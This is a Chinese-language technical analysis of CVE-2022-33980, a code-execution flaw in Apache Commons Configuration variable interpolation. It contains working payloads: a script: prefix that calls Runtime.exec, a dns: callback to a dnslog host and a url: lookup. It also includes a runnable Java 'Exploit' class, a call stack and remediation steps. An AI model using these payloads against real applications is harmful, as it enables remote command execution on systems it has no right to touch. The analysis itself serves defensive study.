CVE-2022-33980命令执行漏洞分析
字数 1355 2025-08-26 22:11:34

Apache Commons Configuration CVE-2022-33980 命令执行漏洞分析

1. 漏洞概述

Apache Commons Configuration是一个Java应用程序的配置管理类库,可以从properties或xml等文件中加载软件配置信息。在2.4至2.7版本中,存在一个通过变量插值导致的远程代码执行漏洞(CVE-2022-33980)。

2. 漏洞原理

2.1 变量插值功能

Apache Commons Configuration提供了变量插值功能,允许在配置文件中使用动态变量引用,例如:

  • ${env:JAVA_HOME} - 获取环境变量
  • ${sys:user.home} - 获取系统属性

2.2 漏洞触发点

漏洞存在于ConfigurationInterpolator类的变量插值处理中,攻击者可以通过构造特殊的变量前缀(如script:)来执行任意代码。

3. 漏洞分析

3.1 核心处理流程

  1. interpolate方法:在org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate中处理变量插值
  2. looksLikeSingleVariable:检查格式是否符合变量插值语法
  3. resolveSingleVariable:解析单个变量
  4. extractVariableName:提取变量名(去掉${}等字符)
  5. resolve:解析变量值
  6. fetchLookupForPrefix:根据前缀获取对应的Lookup对象

3.2 恶意利用方式

3.2.1 脚本执行

${script:javascript:java.lang.Runtime.getRuntime().exec("calc")}

处理流程:

  1. 提取前缀script和剩余部分javascript:java.lang.Runtime.getRuntime().exec("calc")
  2. 通过ScriptStringLookup处理
  3. 使用Nashorn脚本引擎执行JavaScript代码
  4. 最终调用Java的Runtime.exec方法执行系统命令

3.2.2 其他危险前缀

  1. DNS查询

    ${dns:test.uqp639.dnslog.cn}
    
  2. URL访问

    ${url:http:http://127.0.0.1:8000/}
    

4. 影响范围

  • Apache Commons Configuration 2.4至2.7版本

5. 漏洞复现

5.1 环境搭建

添加Maven依赖:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-configuration2</artifactId>
    <version>2.7</version>
</dependency>

5.2 测试代码

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class Exploit {
    public static void main(String[] args) {
        InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
                .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
                .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
                .create();
        
        ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
        
        // 命令执行
        System.out.println(configurationInterpolator.interpolate(
            "${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));
        
        // DNS查询
        System.out.println(configurationInterpolator.interpolate(
            "${dns:test.uqp639.dnslog.cn}"));
            
        // URL访问
        System.out.println(configurationInterpolator.interpolate(
            "${url:http:http://127.0.0.1:8000/}"));
    }
}

6. 调用栈分析

exec:347, Runtime (java.lang)
invokeVirtual_LL_L:-1, 1750905143 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1241529534 (java.lang.invoke.LambdaForm$BMH)
exactInvoker:-1, 1528923159 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 1683662486 (java.lang.invoke.LambdaForm$MH)
:program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_LL_L:-1, 1783593083 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 1740797075 (java.lang.invoke.LambdaForm$MH)
invoke:637, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
lookup:86, ScriptStringLookup (org.apache.commons.text.lookup)
lookup:45, StringLookupAdapter (org.apache.commons.configuration2.interpol)
resolve:497, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
resolveSingleVariable:529, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
interpolate:362, ConfigurationInterpolator (org.apache.commons.configuration2.interpol)
main:15, Exploit

7. 修复方案

官方在修复版本中移除了危险的默认前缀:

  1. 移除了scriptdnsurl等危险前缀
  2. 相关修复commit: f025bc3

8. 安全建议

  1. 升级到Apache Commons Configuration 2.8.0或更高版本
  2. 如果无法升级,应禁用危险的变量前缀
  3. 对用户输入的配置值进行严格过滤

9. 参考链接

  • 官方漏洞通告: https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s
  • 修复commit: https://github.com/apache/commons-configuration/commit/f025bc399e8125ffc7701ac74f09b833c5b5e152
Apache Commons Configuration CVE-2022-33980 命令执行漏洞分析 1. 漏洞概述 Apache Commons Configuration是一个Java应用程序的配置管理类库,可以从properties或xml等文件中加载软件配置信息。在2.4至2.7版本中,存在一个通过变量插值导致的远程代码执行漏洞(CVE-2022-33980)。 2. 漏洞原理 2.1 变量插值功能 Apache Commons Configuration提供了变量插值功能,允许在配置文件中使用动态变量引用,例如: ${env:JAVA_HOME} - 获取环境变量 ${sys:user.home} - 获取系统属性 2.2 漏洞触发点 漏洞存在于 ConfigurationInterpolator 类的变量插值处理中,攻击者可以通过构造特殊的变量前缀(如 script: )来执行任意代码。 3. 漏洞分析 3.1 核心处理流程 interpolate方法 :在 org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate 中处理变量插值 looksLikeSingleVariable :检查格式是否符合变量插值语法 resolveSingleVariable :解析单个变量 extractVariableName :提取变量名(去掉 ${} 等字符) resolve :解析变量值 fetchLookupForPrefix :根据前缀获取对应的Lookup对象 3.2 恶意利用方式 3.2.1 脚本执行 处理流程: 提取前缀 script 和剩余部分 javascript:java.lang.Runtime.getRuntime().exec("calc") 通过 ScriptStringLookup 处理 使用Nashorn脚本引擎执行JavaScript代码 最终调用Java的Runtime.exec方法执行系统命令 3.2.2 其他危险前缀 DNS查询 : URL访问 : 4. 影响范围 Apache Commons Configuration 2.4至2.7版本 5. 漏洞复现 5.1 环境搭建 添加Maven依赖: 5.2 测试代码 6. 调用栈分析 7. 修复方案 官方在修复版本中移除了危险的默认前缀: 移除了 script 、 dns 、 url 等危险前缀 相关修复commit: f025bc3 8. 安全建议 升级到Apache Commons Configuration 2.8.0或更高版本 如果无法升级,应禁用危险的变量前缀 对用户输入的配置值进行严格过滤 9. 参考链接 官方漏洞通告: https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s 修复commit: https://github.com/apache/commons-configuration/commit/f025bc399e8125ffc7701ac74f09b833c5b5e152